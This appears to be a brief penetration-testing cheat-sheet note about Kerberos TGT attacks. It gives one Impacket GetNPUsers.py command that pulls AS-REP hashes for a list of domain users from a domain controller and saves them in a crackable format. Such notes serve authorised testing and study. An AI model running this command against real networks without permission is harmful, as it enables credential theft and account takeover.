TGT

After to found potential users and DC, try this:

GetNPUsers.py : To extract TGT hashes

GetNPUsers.py dc.domain.dc/ -usersfile users.txt -format john -outputfile hashes.txt -dc-ip 1.1.1.1